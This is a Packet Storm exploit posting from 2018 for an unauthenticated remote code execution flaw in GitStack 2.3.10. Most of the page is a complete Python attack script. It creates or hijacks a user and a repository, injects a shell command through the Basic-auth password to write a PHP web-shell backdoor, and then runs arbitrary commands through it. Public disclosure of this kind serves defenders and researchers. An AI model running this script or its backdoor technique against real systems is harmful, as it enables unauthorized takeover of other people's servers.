Exploit the possiblities

GitStack 2.3.10 Remote Code Execution

GitStack 2.3.10 Remote Code Execution
Posted Jan 18, 2018
Authored by Kacper Szurek

GitStack version 2.3.10 suffers from an unauthenticated remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 6a2c421c9fca302ac949e344854f3553

GitStack 2.3.10 Remote Code Execution

Change Mirror Download
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
# Date: 18.01.2018
# Software Link: https://gitstack.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote

1. Description

$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.

https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html

2. Proof of Concept

https://github.com/kacperszurek/exploits/blob/master/GitStack/gitstack_unauthenticated_rce.py


gitstack_unauthenticated_rce.py:

import requests
from requests.auth import HTTPBasicAuth
import os
import sys

ip = '192.168.1.102'

# What command you want to execute
command = "whoami"

repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'

user_list = []

print "[+] Get user list"
try:
r = requests.get("http://{}/rest/user/".format(ip))
user_list = r.json()
user_list.remove('everyone')
except:
pass

if len(user_list) > 0:
username = user_list[0]
print "[+] Found user {}".format(username)
else:
r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
print "[+] Create user"

if not "User created" in r.text and not "User already exist" in r.text:
print "[-] Cannot create user"
os._exit(0)

r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
print "[+] Web repository already enabled"
else:
print "[+] Enable web repository"
r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
if not "Web interface successfully enabled" in r.text:
print "[-] Cannot enable web interface"
os._exit(0)

print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()

if len(repository_list) > 0:
repository = repository_list[0]['name']
print "[+] Found repository {}".format(repository)
else:
print "[+] Create repository"

r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
print "[-] Cannot create repository"
os._exit(0)

print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))

if not "added to" in r.text and not "has already" in r.text:
print "[-] Cannot add user to repository"
os._exit(0)

print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))

if not "everyone removed from rce" in r.text and not "not in list" in r.text:
print "[-] Cannot remove access for anyone"
os._exit(0)

print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

February 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    15 Files
  • 2
    Feb 2nd
    15 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    13 Files
  • 5
    Feb 5th
    16 Files
  • 6
    Feb 6th
    15 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    15 Files
  • 9
    Feb 9th
    18 Files
  • 10
    Feb 10th
    8 Files
  • 11
    Feb 11th
    8 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    15 Files
  • 14
    Feb 14th
    15 Files
  • 15
    Feb 15th
    17 Files
  • 16
    Feb 16th
    18 Files
  • 17
    Feb 17th
    37 Files
  • 18
    Feb 18th
    2 Files
  • 19
    Feb 19th
    16 Files
  • 20
    Feb 20th
    6 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close